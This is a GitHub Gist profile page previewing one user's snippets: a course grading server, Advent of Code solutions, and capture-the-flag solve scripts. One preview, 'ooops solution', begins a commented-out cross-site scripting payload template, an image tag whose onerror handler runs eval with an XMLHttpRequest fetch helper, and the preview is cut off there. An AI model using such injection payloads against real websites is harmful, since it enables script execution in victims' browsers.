Skip to content

Instantly share code, notes, and snippets.

View bluepichu's full-sized avatar

Matthew Savage bluepichu

View GitHub Profile
@bluepichu
bluepichu / index.js
Created November 19, 2017 17:06
15411 L5 Tabulator
const express = require("express");
const chroma = require("chroma-js");
const fs = require("fs-extra");
const app = express();
const scaleGood = chroma.scale(["blue", "green"]);
const scaleOk = chroma.scale(["yellow", "orange"]);
const scaleBad = chroma.scale(["red", "black"]);
@bluepichu
bluepichu / generate-script.js
Created May 13, 2019 00:20
ooops solution (PPP)
function generate(host, path) {
let out = "";
// let outscript = `
// <img src='no' onerror='eval("
// function fetch(url, cb) {
// var xhr = new XMLHttpRequest();
// xhr.open(\\"GET\\", url);
// xhr.send();
// xhr.onerror = function(err) {
@bluepichu
bluepichu / client.ts
Created September 24, 2019 20:25
CPU Adventure Solve Script (DragonCTF 2019)
import { Socket } from "net";
import * as readline from "readline";
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
function wait() {
return new Promise<string>((resolve) => {
@bluepichu
bluepichu / aoc19-04.py
Created December 4, 2019 05:12
Advent of Code 2019 day 4 solution
# input
lo = 372037
hi = 905157
ans = 0
def test(s):
c = 0
d = 0
for i in range(5):
@bluepichu
bluepichu / aoc19-13.py
Last active December 13, 2019 05:28
Advent of Code 2019 day 13 partial solution
# partial solution (intcode stuff cut out, but it should hopefully be clear what everything does)
# proc = (intcode program instance constructed from input)
mp = dict()
EMPTY = 0
WALL = 1
BLOCK = 2
PADDLE = 3
@bluepichu
bluepichu / aoc19-16.py
Created December 16, 2019 06:13
Advent of Code 2019 day 16 solution
with open("input.txt") as f:
inp = list(map(int, f.read()[::]))
def do_phase(lst):
return [do_comp(lst, i) for i in range(len(lst))]
def get_mult(n, m):
m += 1
m %= 4 * n
if m < n:
@bluepichu
bluepichu / aoc19-21.py
Created December 21, 2019 05:37
Advent of Code 2019 day 21 solution
# intcode interpreter omitted
def go():
p = make_process(inp)
p = start(p)
while p[0] != DONE:
if p[0] == INPUT:
i = input()
for c in i:
p = inpt(p, ord(c))
from advent import Input
import re
input = Input(day = 4).lines()
ans = 0
keys = set()
for ln in input:
if ln == "":
from typing import Dict, List, Set, Tuple
from advent import Input
import re
from collections import defaultdict
input = (
Input(day = 9)
# .all()
.ints()
# .lines()
from typing import Dict, List, Set, Tuple
from advent import Input
import re
from collections import defaultdict
from math import ceil
input = (
Input(
day = 14,
# sample = True,